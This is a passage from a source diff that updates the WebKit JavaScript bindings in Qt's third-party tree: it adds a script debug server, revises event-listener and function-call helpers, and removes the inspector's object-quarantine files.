+    pauseIfNeeded(toPage(debuggerCallFrame.dynamicGlobalObject()));
+}
+
+void ScriptDebugServer::willExecuteProgram(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
+{
+    if (m_paused)
+        return;
+
+    m_currentCallFrame = JavaScriptCallFrame::create(debuggerCallFrame, m_currentCallFrame, sourceID, lineNumber);
+    pauseIfNeeded(toPage(debuggerCallFrame.dynamicGlobalObject()));
+}
+
+void ScriptDebugServer::didExecuteProgram(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
+{
+    if (m_paused)
+        return;
+
+    ASSERT(m_currentCallFrame);
+    if (!m_currentCallFrame)
+        return;
+
+    m_currentCallFrame->update(debuggerCallFrame, sourceID, lineNumber);
+    pauseIfNeeded(toPage(debuggerCallFrame.dynamicGlobalObject()));
+
+    // Treat stepping over the end of a program like stepping out.
+    if (m_currentCallFrame == m_pauseOnCallFrame)
+        m_pauseOnCallFrame = m_currentCallFrame->caller();
+    m_currentCallFrame = m_currentCallFrame->caller();
+}
+
+void ScriptDebugServer::didReachBreakpoint(const DebuggerCallFrame& debuggerCallFrame, intptr_t sourceID, int lineNumber)
+{
+    if (m_paused)
+        return;
+
+    ASSERT(m_currentCallFrame);
+    if (!m_currentCallFrame)
+        return;
+
+    m_pauseOnNextStatement = true;
+    m_currentCallFrame->update(debuggerCallFrame, sourceID, lineNumber);
+    pauseIfNeeded(toPage(debuggerCallFrame.dynamicGlobalObject()));
+}
+
+void ScriptDebugServer::recompileAllJSFunctionsSoon()
+{
+    m_recompileTimer.startOneShot(0);
+}
+
+void ScriptDebugServer::recompileAllJSFunctions(Timer<ScriptDebugServer>*)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    Debugger::recompileAllJSFunctions(JSDOMWindow::commonJSGlobalData());
+}
+
+void ScriptDebugServer::didAddListener(Page* page)
+{
+    recompileAllJSFunctionsSoon();
+
+    if (page)
+        page->setDebugger(this);
+    else
+        Page::setDebuggerForAllPages(this);
+}
+
+void ScriptDebugServer::didRemoveListener(Page* page)
+{
+    if (hasGlobalListeners() || (page && hasListenersInterestedInPage(page)))
+        return;
+
+    recompileAllJSFunctionsSoon();
+
+    if (page)
+        page->setDebugger(0);
+    else
+        Page::setDebuggerForAllPages(0);
+}
+
+void ScriptDebugServer::didRemoveLastListener()
+{
+    m_doneProcessingDebuggerEvents = true;
+}
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptDebugServer.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptDebugServer.h
new file mode 100644
index 0000000..4740585
--- /dev/null
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptDebugServer.h
@@ -0,0 +1,153 @@
+/*
+ * Copyright (C) 2008 Apple Inc. All rights reserved.
+ * Copyright (C) 2010 Google Inc. All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ *
+ * 1.  Redistributions of source code must retain the above copyright
+ *     notice, this list of conditions and the following disclaimer.
+ * 2.  Redistributions in binary form must reproduce the above copyright
+ *     notice, this list of conditions and the following disclaimer in the
+ *     documentation and/or other materials provided with the distribution.
+ * 3.  Neither the name of Apple Computer, Inc. ("Apple") nor the names of
+ *     its contributors may be used to endorse or promote products derived
+ *     from this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY APPLE AND ITS CONTRIBUTORS "AS IS" AND ANY
+ * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL APPLE OR ITS CONTRIBUTORS BE LIABLE FOR ANY
+ * DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+ * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;
+ * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND
+ * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
+ * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
+ * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+#ifndef ScriptDebugServer_h
+#define ScriptDebugServer_h
+
+#if ENABLE(JAVASCRIPT_DEBUGGER)
+
+#include "PlatformString.h"
+#include "ScriptBreakpoint.h"
+#include "ScriptState.h"
+#include "Timer.h"
+
+#include <debugger/Debugger.h>
+#include <runtime/UString.h>
+#include <wtf/HashMap.h>
+#include <wtf/HashSet.h>
+#include <wtf/RefPtr.h>
+
+namespace JSC {
+class DebuggerCallFrame;
+class JSGlobalObject;
+}
+namespace WebCore {
+
+class Frame;
+class FrameView;
+class Page;
+class PageGroup;
+class ScriptDebugListener;
+class JavaScriptCallFrame;
+
+class ScriptDebugServer : JSC::Debugger, public Noncopyable {
+public:
+    static ScriptDebugServer& shared();
+
+    void addListener(ScriptDebugListener*, Page*);
+    void removeListener(ScriptDebugListener*, Page*);
+
+    void setBreakpoint(const String& sourceID, unsigned lineNumber, ScriptBreakpoint breakpoint);
+    void removeBreakpoint(const String& sourceID, unsigned lineNumber);
+    void clearBreakpoints();
+    void setBreakpointsActivated(bool activated);
+
+    enum PauseOnExceptionsState {
+        DontPauseOnExceptions,
+        PauseOnAllExceptions,
+        PauseOnUncaughtExceptions
+    };
+    PauseOnExceptionsState pauseOnExceptionsState() const { return m_pauseOnExceptionsState; }
+    void setPauseOnExceptionsState(PauseOnExceptionsState);
+
+    void pauseProgram();
+    void continueProgram();
+    void stepIntoStatement();
+    void stepOverStatement();
+    void stepOutOfFunction();
+
+    void recompileAllJSFunctionsSoon();
+    void recompileAllJSFunctions(Timer<ScriptDebugServer>* = 0);
+
+    JavaScriptCallFrame* currentCallFrame();
+    ScriptState* currentCallFrameState();
+
+    void pageCreated(Page*);
+
+private:
+    typedef HashSet<ScriptDebugListener*> ListenerSet;
+    typedef void (ScriptDebugListener::*JavaScriptExecutionCallback)();
+
+    ScriptDebugServer();
+    ~ScriptDebugServer();
+
+    bool hasBreakpoint(intptr_t sourceID, unsigned lineNumber) const;
+    bool hasListeners() const { return !m_listeners.isEmpty() || !m_pageListenersMap.isEmpty(); }
+    bool hasGlobalListeners() const { return !m_listeners.isEmpty(); }
+    bool hasListenersInterestedInPage(Page*);
+
+    void setJavaScriptPaused(const PageGroup&, bool paused);
+    void setJavaScriptPaused(Page*, bool paused);
+    void setJavaScriptPaused(Frame*, bool paused);
+    void setJavaScriptPaused(FrameView*, bool paused);
+
+    void dispatchFunctionToListeners(JavaScriptExecutionCallback, Page*);
+    void dispatchFunctionToListeners(const ListenerSet& listeners, JavaScriptExecutionCallback callback);
+    void dispatchDidParseSource(const ListenerSet& listeners, const JSC::SourceCode& source);
+    void dispatchFailedToParseSource(const ListenerSet& listeners, const JSC::SourceCode& source, int errorLine, const String& errorMessage);
+
+    void pauseIfNeeded(Page*);
+
+    virtual void detach(JSC::JSGlobalObject*);
+
+    virtual void sourceParsed(JSC::ExecState*, const JSC::SourceCode&, int errorLine, const JSC::UString& errorMsg);
+    virtual void callEvent(const JSC::DebuggerCallFrame&, intptr_t sourceID, int lineNumber);
+    virtual void atStatement(const JSC::DebuggerCallFrame&, intptr_t sourceID, int firstLine);
+    virtual void returnEvent(const JSC::DebuggerCallFrame&, intptr_t sourceID, int lineNumber);
+    virtual void exception(const JSC::DebuggerCallFrame&, intptr_t sourceID, int lineNumber, bool hasHandler);
+    virtual void willExecuteProgram(const JSC::DebuggerCallFrame&, intptr_t sourceID, int lineno);
+    virtual void didExecuteProgram(const JSC::DebuggerCallFrame&, intptr_t sourceID, int lineno);
+    virtual void didReachBreakpoint(const JSC::DebuggerCallFrame&, intptr_t sourceID, int lineno);
+
+    void didAddListener(Page*);
+    void didRemoveListener(Page*);
+    void didRemoveLastListener();
+
+    typedef HashMap<Page*, ListenerSet*> PageListenersMap;
+    typedef HashMap<intptr_t, SourceBreakpoints> BreakpointsMap;
+
+    PageListenersMap m_pageListenersMap;
+    ListenerSet m_listeners;
+    bool m_callingListeners;
+    PauseOnExceptionsState m_pauseOnExceptionsState;
+    bool m_pauseOnNextStatement;
+    bool m_paused;
+    bool m_doneProcessingDebuggerEvents;
+    bool m_breakpointsActivated;
+    JavaScriptCallFrame* m_pauseOnCallFrame;
+    RefPtr<JavaScriptCallFrame> m_currentCallFrame;
+    BreakpointsMap m_breakpoints;
+    Timer<ScriptDebugServer> m_recompileTimer;
+};
+
+} // namespace WebCore
+
+#endif // ENABLE(JAVASCRIPT_DEBUGGER)
+
+#endif // ScriptDebugServer_h
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptEventListener.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptEventListener.cpp
index 8399c7a..afa8784 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptEventListener.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptEventListener.cpp
@@ -37,6 +37,7 @@
 #include "JSNode.h"
 #include "Frame.h"
 #include "XSSAuditor.h"
+#include <runtime/JSLock.h>
 
 using namespace JSC;
 
@@ -52,14 +53,18 @@ static const String& eventParameterName(bool isSVGEvent)
 PassRefPtr<JSLazyEventListener> createAttributeEventListener(Node* node, Attribute* attr)
 {
     ASSERT(node);
+    ASSERT(attr);
+    if (attr->isNull())
+        return 0;
 
     int lineNumber = 1;
     String sourceURL;
+    JSObject* wrapper = 0;
     
     // FIXME: We should be able to provide accurate source information for frameless documents, too (e.g. for importing nodes from XMLHttpRequest.responseXML).
     if (Frame* frame = node->document()->frame()) {
         ScriptController* scriptController = frame->script();
-        if (!scriptController->isEnabled())
+        if (!scriptController->canExecuteScripts(AboutToExecuteScript))
             return 0;
 
         if (!scriptController->xssAuditor()->canCreateInlineEventListener(attr->localName().string(), attr->value())) {
@@ -69,9 +74,13 @@ PassRefPtr<JSLazyEventListener> createAttributeEventListener(Node* node, Attribu
 
         lineNumber = scriptController->eventHandlerLineNumber();
         sourceURL = node->document()->url().string();
+
+        JSC::JSLock lock(SilenceAssertionsOnly);
+        JSDOMGlobalObject* globalObject = toJSDOMGlobalObject(node->document(), mainThreadNormalWorld());
+        wrapper = asObject(toJS(globalObject->globalExec(), globalObject, node));
     }
 
-    return JSLazyEventListener::create(attr->localName().string(), eventParameterName(node->isSVGElement()), attr->value(), node, sourceURL, lineNumber, mainThreadNormalWorld());
+    return JSLazyEventListener::create(attr->localName().string(), eventParameterName(node->isSVGElement()), attr->value(), node, sourceURL, lineNumber, wrapper, mainThreadNormalWorld());
 }
 
 PassRefPtr<JSLazyEventListener> createAttributeEventListener(Frame* frame, Attribute* attr)
@@ -79,11 +88,15 @@ PassRefPtr<JSLazyEventListener> createAttributeEventListener(Frame* frame, Attri
     if (!frame)
         return 0;
 
+    ASSERT(attr);
+    if (attr->isNull())
+        return 0;
+
     int lineNumber = 1;
     String sourceURL;
     
     ScriptController* scriptController = frame->script();
-    if (!scriptController->isEnabled())
+    if (!scriptController->canExecuteScripts(AboutToExecuteScript))
         return 0;
 
     if (!scriptController->xssAuditor()->canCreateInlineEventListener(attr->localName().string(), attr->value())) {
@@ -93,15 +106,19 @@ PassRefPtr<JSLazyEventListener> createAttributeEventListener(Frame* frame, Attri
 
     lineNumber = scriptController->eventHandlerLineNumber();
     sourceURL = frame->document()->url().string();
-    return JSLazyEventListener::create(attr->localName().string(), eventParameterName(frame->document()->isSVGDocument()), attr->value(), 0, sourceURL, lineNumber, mainThreadNormalWorld());
+    JSObject* wrapper = toJSDOMWindow(frame, mainThreadNormalWorld());
+    return JSLazyEventListener::create(attr->localName().string(), eventParameterName(frame->document()->isSVGDocument()), attr->value(), 0, sourceURL, lineNumber, wrapper, mainThreadNormalWorld());
 }
 
 String getEventListenerHandlerBody(ScriptExecutionContext* context, ScriptState* scriptState, EventListener* eventListener)
 {
-    JSC::JSObject* functionObject = eventListener->jsFunction(context);
-    if (!functionObject)
+    const JSEventListener* jsListener = JSEventListener::cast(eventListener);
+    if (!jsListener)
+        return "";
+    JSC::JSObject* jsFunction = jsListener->jsFunction(context);
+    if (!jsFunction)
         return "";
-    return functionObject->toString(scriptState);
+    return jsFunction->toString(scriptState);
 }
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.cpp
index 91b2a57..5001d3c 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.cpp
@@ -42,8 +42,8 @@ using namespace JSC;
 
 namespace WebCore {
 
-ScriptFunctionCall::ScriptFunctionCall(ScriptState* exec, const ScriptObject& thisObject, const String& name)
-    : m_exec(exec)
+ScriptFunctionCall::ScriptFunctionCall(const ScriptObject& thisObject, const String& name)
+    : m_exec(thisObject.scriptState())
     , m_thisObject(thisObject)
     , m_name(name)
 {
@@ -51,6 +51,10 @@ ScriptFunctionCall::ScriptFunctionCall(ScriptState* exec, const ScriptObject& th
 
 void ScriptFunctionCall::appendArgument(const ScriptObject& argument)
 {
+    if (argument.scriptState() != m_exec) {
+        ASSERT_NOT_REACHED();
+        return;
+    }
     m_arguments.append(argument.jsObject());
 }
 
@@ -72,14 +76,27 @@ void ScriptFunctionCall::appendArgument(const String& argument)
 
 void ScriptFunctionCall::appendArgument(const JSC::UString& argument)
 {
+    JSLock lock(SilenceAssertionsOnly);
     m_arguments.append(jsString(m_exec, argument));
 }
 
+void ScriptFunctionCall::appendArgument(const char* argument)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    m_arguments.append(jsString(m_exec, UString(argument)));
+}
+
 void ScriptFunctionCall::appendArgument(JSC::JSValue argument)
 {
     m_arguments.append(argument);
 }
 
+void ScriptFunctionCall::appendArgument(long argument)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    m_arguments.append(jsNumber(m_exec, argument));
+}
+
 void ScriptFunctionCall::appendArgument(long long argument)
 {
     JSLock lock(SilenceAssertionsOnly);
@@ -92,6 +109,12 @@ void ScriptFunctionCall::appendArgument(unsigned int argument)
     m_arguments.append(jsNumber(m_exec, argument));
 }
 
+void ScriptFunctionCall::appendArgument(unsigned long argument)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    m_arguments.append(jsNumber(m_exec, argument));
+}
+
 void ScriptFunctionCall::appendArgument(int argument)
 {
     JSLock lock(SilenceAssertionsOnly);
@@ -123,8 +146,7 @@ ScriptValue ScriptFunctionCall::call(bool& hadException, bool reportExceptions)
     if (callType == CallTypeNone)
         return ScriptValue();
 
-    // FIXME: Should this function take a worldID? - only used by inspector?
-    JSValue result = callInWorld(m_exec, function, callType, callData, thisObject, m_arguments, debuggerWorld());
+    JSValue result = JSC::call(m_exec, function, callType, callData, thisObject, m_arguments);
     if (m_exec->hadException()) {
         if (reportExceptions)
             reportException(m_exec, m_exec->exception());
@@ -162,8 +184,7 @@ ScriptObject ScriptFunctionCall::construct(bool& hadException, bool reportExcept
     if (constructType == ConstructTypeNone)
         return ScriptObject();
 
-    // FIXME: Currently this method constructs objects in debuggerWorld().  We could use the current world, or pass a worldID to this function?
-    JSValue result = constructInWorld(m_exec, constructor, constructType, constructData, m_arguments, debuggerWorld());
+    JSValue result = JSC::construct(m_exec, constructor, constructType, constructData, m_arguments);
     if (m_exec->hadException()) {
         if (reportExceptions)
             reportException(m_exec, m_exec->exception());
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.h
index 079ac21..9742e8f 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptFunctionCall.h
@@ -48,17 +48,20 @@ namespace WebCore {
 
     class ScriptFunctionCall {
     public:
-        ScriptFunctionCall(ScriptState* exec, const ScriptObject& thisObject, const String& name);
+        ScriptFunctionCall(const ScriptObject& thisObject, const String& name);
         virtual ~ScriptFunctionCall() {};
 
         void appendArgument(const ScriptObject&);
         void appendArgument(const ScriptString&);
         void appendArgument(const ScriptValue&);
         void appendArgument(const String&);
+        void appendArgument(const char*);
         void appendArgument(const JSC::UString&);
         void appendArgument(JSC::JSValue);
+        void appendArgument(long);
         void appendArgument(long long);
         void appendArgument(unsigned int);
+        void appendArgument(unsigned long);
         void appendArgument(int);
         void appendArgument(bool);
         ScriptValue call(bool& hadException, bool reportExceptions = true);
@@ -70,6 +73,12 @@ namespace WebCore {
         ScriptObject m_thisObject;
         String m_name;
         JSC::MarkedArgumentBuffer m_arguments;
+
+    private:
+        // MarkedArgumentBuffer must be stack allocated, so prevent heap
+        // alloc of ScriptFunctionCall as well.
+        void* operator new(size_t) { ASSERT_NOT_REACHED(); return reinterpret_cast<void*>(0xbadbeef); }
+        void* operator new[](size_t) { ASSERT_NOT_REACHED(); return reinterpret_cast<void*>(0xbadbeef); }
     };
 
 } // namespace WebCore
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptInstance.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptInstance.h
index 3095df9..0b3b59f 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptInstance.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptInstance.h
@@ -31,8 +31,8 @@
 #ifndef ScriptInstance_h
 #define ScriptInstance_h
 
+#include "Bridge.h"
 #include <wtf/RefPtr.h>
-#include "runtime.h"
 
 namespace WebCore {
 
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.cpp
index 1172e8e..7948219 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.cpp
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.cpp
@@ -32,10 +32,15 @@
 #include "ScriptObject.h"
 
 #include "JSDOMBinding.h"
-#include "JSInspectorBackend.h"
 
 #include <runtime/JSLock.h>
 
+#if ENABLE(INSPECTOR)
+#include "JSInjectedScriptHost.h"
+#include "JSInspectorBackend.h"
+#include "JSInspectorFrontendHost.h"
+#endif
+
 using namespace JSC;
 
 namespace WebCore {
@@ -65,6 +70,10 @@ bool ScriptObject::set(const String& name, const String& value)
 
 bool ScriptObject::set(const char* name, const ScriptObject& value)
 {
+    if (value.scriptState() != m_scriptState) {
+        ASSERT_NOT_REACHED();
+        return false;
+    }
     JSLock lock(SilenceAssertionsOnly);
     PutPropertySlot slot;
     jsObject()->put(m_scriptState, Identifier(m_scriptState, name), value.jsObject(), slot);
@@ -87,6 +96,14 @@ bool ScriptObject::set(const char* name, double value)
     return handleException(m_scriptState);
 }
 
+bool ScriptObject::set(const char* name, long value)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    PutPropertySlot slot;
+    jsObject()->put(m_scriptState, Identifier(m_scriptState, name), jsNumber(m_scriptState, value), slot);
+    return handleException(m_scriptState);
+}
+
 bool ScriptObject::set(const char* name, long long value)
 {
     JSLock lock(SilenceAssertionsOnly);
@@ -111,6 +128,14 @@ bool ScriptObject::set(const char* name, unsigned value)
     return handleException(m_scriptState);
 }
 
+bool ScriptObject::set(const char* name, unsigned long value)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    PutPropertySlot slot;
+    jsObject()->put(m_scriptState, Identifier(m_scriptState, name), jsNumber(m_scriptState, value), slot);
+    return handleException(m_scriptState);
+}
+
 bool ScriptObject::set(const char* name, bool value)
 {
     JSLock lock(SilenceAssertionsOnly);
@@ -140,6 +165,22 @@ bool ScriptGlobalObject::set(ScriptState* scriptState, const char* name, Inspect
     globalObject->putDirect(Identifier(scriptState, name), toJS(scriptState, globalObject, value));
     return handleException(scriptState);
 }
+
+bool ScriptGlobalObject::set(ScriptState* scriptState, const char* name, InspectorFrontendHost* value)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    JSDOMGlobalObject* globalObject = static_cast<JSDOMGlobalObject*>(scriptState->lexicalGlobalObject());
+    globalObject->putDirect(Identifier(scriptState, name), toJS(scriptState, globalObject, value));
+    return handleException(scriptState);
+}
+
+bool ScriptGlobalObject::set(ScriptState* scriptState, const char* name, InjectedScriptHost* value)
+{
+    JSLock lock(SilenceAssertionsOnly);
+    JSDOMGlobalObject* globalObject = static_cast<JSDOMGlobalObject*>(scriptState->lexicalGlobalObject());
+    globalObject->putDirect(Identifier(scriptState, name), toJS(scriptState, globalObject, value));
+    return handleException(scriptState);
+}
 #endif // ENABLE(INSPECTOR)
 
 bool ScriptGlobalObject::get(ScriptState* scriptState, const char* name, ScriptObject& value)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.h
index 31381f3..0c993e1 100644
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.h
+++ b/src/3rdparty/webkit/WebCore/bindings/js/ScriptObject.h
@@ -38,21 +38,26 @@
 #include <runtime/Protect.h>
 
 namespace WebCore {
+    class InjectedScriptHost;
     class InspectorBackend;
+    class InspectorFrontendHost;
 
     class ScriptObject : public ScriptValue {
     public:
         ScriptObject(ScriptState*, JSC::JSObject*);
         ScriptObject() {}
         JSC::JSObject* jsObject() const { return asObject(jsValue()); }
+        ScriptState* scriptState() const { return m_scriptState; }
 
         bool set(const String& name, const String&);
         bool set(const char* name, const ScriptObject&);
         bool set(const char* name, const String&);
         bool set(const char* name, double);
+        bool set(const char* name, long);
         bool set(const char* name, long long);
         bool set(const char* name, int);
         bool set(const char* name, unsigned);
+        bool set(const char* name, unsigned long);
         bool set(const char* name, bool);
 
         static ScriptObject createNew(ScriptState*);
@@ -66,6 +71,8 @@ namespace WebCore {
         static bool set(ScriptState*, const char* name, const ScriptObject&);
 #if ENABLE(INSPECTOR)
         static bool set(ScriptState*, const char* name, InspectorBackend*);
+        static bool set(ScriptState*, const char* name, InspectorFrontendHost*);
+        static bool set(ScriptState*, const char* name, InjectedScriptHost*);
 #endif
         static bool get(ScriptState*, const char* name, ScriptObject&);
         static bool remove(ScriptState*, const char* name);
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObjectQuarantine.cpp b/src/3rdparty/webkit/WebCore/bindings/js/ScriptObjectQuarantine.cpp
deleted file mode 100644
index 313530f..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObjectQuarantine.cpp
+++ /dev/null
@@ -1,131 +0,0 @@
-/*
- * Copyright (C) 2009 Google Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- *
- *     * Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above
- * copyright notice, this list of conditions and the following disclaimer
- * in the documentation and/or other materials provided with the
- * distribution.
- *     * Neither the name of Google Inc. nor the names of its
- * contributors may be used to endorse or promote products derived from
- * this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
- * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
- * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
- * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
- * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#include "config.h"
-#include "ScriptObjectQuarantine.h"
-
-#if ENABLE(INSPECTOR)
-
-#include "Document.h"
-#include "Frame.h"
-#include "JSDOMBinding.h"
-#include "JSInspectedObjectWrapper.h"
-#include "JSNode.h"
-#include "ScriptObject.h"
-#include "ScriptValue.h"
-#include "Storage.h"
-
-#include <runtime/JSLock.h>
-
-#if ENABLE(DATABASE)
-#include "Database.h"
-#include "JSDatabase.h"
-#endif
-
-#if ENABLE(DOM_STORAGE)
-#include "JSStorage.h"
-#endif
-
-using namespace JSC;
-
-namespace WebCore {
-
-ScriptValue quarantineValue(ScriptState* scriptState, const ScriptValue& value)
-{
-    JSLock lock(SilenceAssertionsOnly);
-    return ScriptValue(JSInspectedObjectWrapper::wrap(scriptState, value.jsValue()));
-}
-
-#if ENABLE(DATABASE)
-bool getQuarantinedScriptObject(Database* database, ScriptObject& quarantinedObject)
-{
-    ASSERT(database);
-
-    Frame* frame = database->document()->frame();
-    if (!frame)
-        return false;
-
-    JSDOMGlobalObject* globalObject = toJSDOMWindow(frame, debuggerWorld());
-    ExecState* exec = globalObject->globalExec();
-
-    JSLock lock(SilenceAssertionsOnly);
-    quarantinedObject = ScriptObject(exec, asObject(JSInspectedObjectWrapper::wrap(exec, toJS(exec, globalObject, database))));
-
-    return true;
-}
-#endif
-
-#if ENABLE(DOM_STORAGE)
-bool getQuarantinedScriptObject(Storage* storage, ScriptObject& quarantinedObject)
-{
-    ASSERT(storage);
-    Frame* frame = storage->frame();
-    ASSERT(frame);
-
-    JSDOMGlobalObject* globalObject = toJSDOMWindow(frame, debuggerWorld());
-    ExecState* exec = globalObject->globalExec();
-
-    JSLock lock(SilenceAssertionsOnly);
-    quarantinedObject = ScriptObject(exec, asObject(JSInspectedObjectWrapper::wrap(exec, toJS(exec, globalObject, storage))));
-
-    return true;
-}
-#endif
-
-bool getQuarantinedScriptObject(Node* node, ScriptObject& quarantinedObject)
-{
-    ExecState* exec = scriptStateFromNode(node);
-    if (!exec)
-        return false;
-
-    JSLock lock(SilenceAssertionsOnly);
-    // FIXME: Should use some sort of globalObjectFromNode()
-    quarantinedObject = ScriptObject(exec, asObject(JSInspectedObjectWrapper::wrap(exec, toJS(exec, deprecatedGlobalObjectForPrototype(exec), node))));
-
-    return true;
-}
-
-bool getQuarantinedScriptObject(DOMWindow* domWindow, ScriptObject& quarantinedObject)
-{
-    ASSERT(domWindow);
-
-    JSDOMWindow* window = toJSDOMWindow(domWindow->frame(), debuggerWorld());
-    ExecState* exec = window->globalExec();
-
-    JSLock lock(SilenceAssertionsOnly);
-    quarantinedObject = ScriptObject(exec, asObject(JSInspectedObjectWrapper::wrap(exec, window)));
-
-    return true;
-}
-
-
-} // namespace WebCore
-
-#endif // ENABLE(INSPECTOR)
diff --git a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObjectQuarantine.h b/src/3rdparty/webkit/WebCore/bindings/js/ScriptObjectQuarantine.h
deleted file mode 100644
index df52379..0000000
--- a/src/3rdparty/webkit/WebCore/bindings/js/ScriptObjectQuarantine.h
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright (C) 2009 Google Inc. All rights reserved.
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions are
- * met:
- *
- *     * Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- *     * Redistributions in binary form must reproduce the above
- * copyright notice, this list of conditions and the following disclaimer
- * in the documentation and/or other materials provided with the
- * distribution.
- *     * Neither the name of Google Inc. nor the names of its
- * contributors may be used to endorse or promote products derived from
- * this software without specific prior written permission.
- *
- * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
- * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
- * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
- * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
- * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
- * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
- * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
- * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
- * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
- * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
- * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
- */
-
-#ifndef ScriptObjectQuarantine_h
-#define ScriptObjectQuarantine_h
-
-#include "ScriptState.h"
-
-namespace WebCore {
-
-    class Database;
-    class DOMWindow;
-    class Node;
-    class ScriptObject;
-    class ScriptValue;
-    class Storage;
-
-    ScriptValue quarantineValue(ScriptState*, const ScriptValue&);
-
-#if ENABLE(DATABASE)
-    bool getQuarantinedScriptObject(Database* database, ScriptObject& quarantinedObject);
-#endif
-#if ENABLE(DOM_STORAGE)
